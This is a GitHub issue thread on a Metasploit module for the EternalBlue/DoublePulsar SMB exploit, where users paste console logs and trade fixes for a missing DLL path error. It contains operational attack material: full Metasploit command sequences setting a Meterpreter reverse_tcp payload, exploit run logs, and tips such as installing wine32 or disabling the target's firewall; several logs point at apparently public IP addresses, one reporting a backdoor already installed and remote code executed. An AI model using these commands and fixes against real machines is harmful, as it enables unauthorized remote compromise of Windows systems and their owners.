Telefonica / Eternalblue-Doublepulsar-Metasploit

Module of Metasploit to exploit the vulnerability Eternalblue-Doublepulsar.
GNU Lesser General Public License v2.1
1.09k stars 520 forks source link

Exploit failed: Errno::ENOENT No such file #23

Open aaa1445 opened 7 years ago

aaa1445 commented 7 years ago

Exploit failed: Errno::ENOENT No such file or directory @ rb_sysopen - /root/.wine/drive_c/eternal11.dll

help

aaa1445 commented 7 years ago

now its [] Started reverse TCP handler on 192.168.1.12:4444 [] 192.168.1.2:445 - Generating Eternalblue XML data [] 192.168.1.2:445 - Generating Doublepulsar XML data [] 192.168.1.2:445 - Generating payload DLL for Doublepulsar [] 192.168.1.2:445 - Writing DLL in /root/.wine/drive_c/eternal11.dll [] 192.168.1.2:445 - Launching Eternalblue...

keeps loading

syedaligilani commented 7 years ago

I am facing same issue, kindly help

syedaligilani commented 7 years ago

Issue Resolved: Just write following command in root directory mkdir -p /root/.wine/drive_c/ and exploit will not show this error again

bnaught0n commented 6 years ago

Do you have wine32 installed?

Geistlehre commented 5 years ago

same here :

Launching Eternalblue... [-] 82.xxx.xx.xxx:445 - Are you sure it's vulnerable? <--- yes, it is [*] 82.xxx.xx.xxx:445 - Launching Doublepulsar... [-] 82.xxx.xx.xxx:445 - Oops, something was wrong!

lraponi commented 5 years ago

xxx.xx.xxx:445 - Are you sure it's vulnerable? <--- yes, it is xxx.xx.xxx:445 - Launching Doublepulsar... xxx.xx.xxx:445 - Oops, something was wrong!

Same here.Could you help?

Deekly commented 5 years ago

xxx.xx.xxx:445 - Are you sure it's vulnerable? <--- yes, it is xxx.xx.xxx:445 - Launching Doublepulsar... xxx.xx.xxx:445 - Oops, something was wrong!

Same here.Could you help?

+1

sohelshaikhtp commented 5 years ago

Disable windows firewall on the target machine. This will resolve the issue.

MKHDNP commented 5 years ago

i got error 👎 guy some fix it i will disable firewall windows 7 again its error

msf exploit(windows/smb/eternalblue_doublepulsar) > set rhost 192.168.219.129 rhost => 192.168.219.129 msf exploit(windows/smb/eternalblue_doublepulsar) > set PROCESSINJECT svchost.exe PROCESSINJECT => svchost.exe msf exploit(windows/smb/eternalblue_doublepulsar) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(windows/smb/eternalblue_doublepulsar) > set lhost 192.168.219.128 lhost => 192.168.219.128 msf exploit(windows/smb/eternalblue_doublepulsar) > exploit

[] Started reverse TCP handler on 192.168.219.128:4444 [] 192.168.219.129:445 - Generating Eternalblue XML data [] 192.168.219.129:445 - Generating Doublepulsar XML data [] 192.168.219.129:445 - Generating payload DLL for Doublepulsar [-] 192.168.219.129:445 - Exploit failed: Errno::ENOENT No such file or directory @ rb_sysopen - /root/.wine/drive_c/eternal11.dll [*] Exploit completed, but no session was created. msf exploit(windows/smb/eternalblue_doublepulsar) >

adrishya1 commented 4 years ago

in my case error was removed by apt-get install wine32

AadithyanRaju commented 1 year ago

i ran msfconsole with sudo and it worked as it was creating an eternal11.dll fill in root wine folder

christian630 commented 10 months ago

please help

msf6 exploit(windows/smb/eternalblue_doublepulsar) > exploit [] Started reverse TCP handler on 192.168.0.196:9630 [] 192.168.0.251:445 - Generating Eternalblue XML data [] 192.168.0.251:445 - Generating Doublepulsar XML data [] 192.168.0.251:445 - Generating payload DLL for Doublepulsar [] 192.168.0.251:445 - Writing DLL in /root/.wine/drive_c/eternal11.dll [] 192.168.0.251:445 - Launching Eternalblue... [-] Error getting output back from Core; aborting... [-] 192.168.0.251:445 - Are you sure it's vulnerable? [] 192.168.0.251:445 - Launching Doublepulsar... [-] 192.168.0.251:445 - Oops, something was wrong! wine client error:70: write: Mauvais descripteur de fichier wine client error:b4: write: Mauvais descripteur de fichier wine client error:cc: write: Mauvais descripteur de fichier wine client error:e4: write: Mauvais descripteur de fichier [] Exploit completed, but no session was created.

RCode777 commented 10 months ago

[] Started reverse TCP handler on 10.0.2.15:4444 [] 64.xxx.xxx.xxx:445 - Generating Eternalblue XML data [] 64.xxx.xxx.xxx:445 - Generating Doublepulsar XML data [] 64.xxx.xxx.xxx:445 - Generating payload DLL for Doublepulsar [] 64.xxx.xxx.xxx:445 - Writing DLL in /root/.wine/drive_c/eternal11.dll [] 64.xxx.xxx.xxx:445 - Launching Eternalblue... [+] 64.xxx.xxx.xxx:445 - Backdoor is already installed [] 64.xxx.xxx.xxx:445 - Launching Doublepulsar... [+] 64.xxx.xxx.xxx:445 - Remote code executed... 3... 2... 1... wine client error:70: wine client error:a4: write: Bad file descriptor wine client error:bc: write: Bad file descriptor wine client error:e0: write: Bad file descriptor [] Exploit completed, but no session was created.

i get the same error, please help :))

onegitting commented 7 months ago

[ ] 在 10.0.2.15:4444 上启动反向 TCP 处理程序 [ ] 64.xxx.xxx.xxx:445 - 生成 Eternalblue XML 数据 [ ] 64.xxx.xxx.xxx:445 - 生成 Doublepulsar XML 数据 [ ] 64.xxx。 xxx.xxx:445 - 为 Doublepulsar 生成有效负载 DLL [ _] 64.xxx.xxx.xxx:445 - 在 /root/.wine/drivec/eternal11.dll 中写入 DLL [ ] 64.xxx.xxx.xxx:445 - 启动Eternalblue... [+] 64.xxx.xxx.xxx:445 - 后门已安装 [ ] 64.xxx.xxx.xxx:445 - 启动 Doublepulsar... [+] 64.xxx.xxx.xxx:445 - 执行远程代码... 3... 2... 1... wine 客户端错误:70:wine 客户端错误:a4:写入:错误文件描述符 wine 客户端错误:bc:写入:错误文件描述符 wine 客户端错误:e0: write: 错误文件描述符 [ ] 漏洞利用已完成,但未创建会话。

我遇到同样的错误,请帮助:))

Is...solved?

RCode777 commented 7 months ago

[ ] 在 10.0.2.15:4444 上启动反向 TCP 处理程序 [ ] 64.xxx.xxx.xxx:445 - 生成 Eternalblue XML 数据 [ ] 64.xxx.xxx.xxx:445 - 生成 Doublepulsar XML 数据 [ ] 64.xxx。 xxx.xxx:445 - 为 Doublepulsar 生成有效负载 DLL [ _] 64.xxx.xxx.xxx:445 - 在 /root/.wine/drivec/eternal11.dll 中写入 DLL [ ] 64.xxx.xxx.xxx:445 - 启动Eternalblue... [+] 64.xxx.xxx.xxx:445 - 后门已安装 [ ] 64.xxx.xxx.xxx:445 - 启动 Doublepulsar... [+] 64.xxx.xxx.xxx:445 - 执行远程代码... 3... 2... 1... wine 客户端错误:70:wine 客户端错误:a4:写入:错误文件描述符 wine 客户端错误:bc:写入:错误文件描述符 wine 客户端错误:e0: write: 错误文件描述符 [ ] 漏洞利用已完成,但未创建会话。

我遇到同样的错误,请帮助:))

Is...solved?

not yet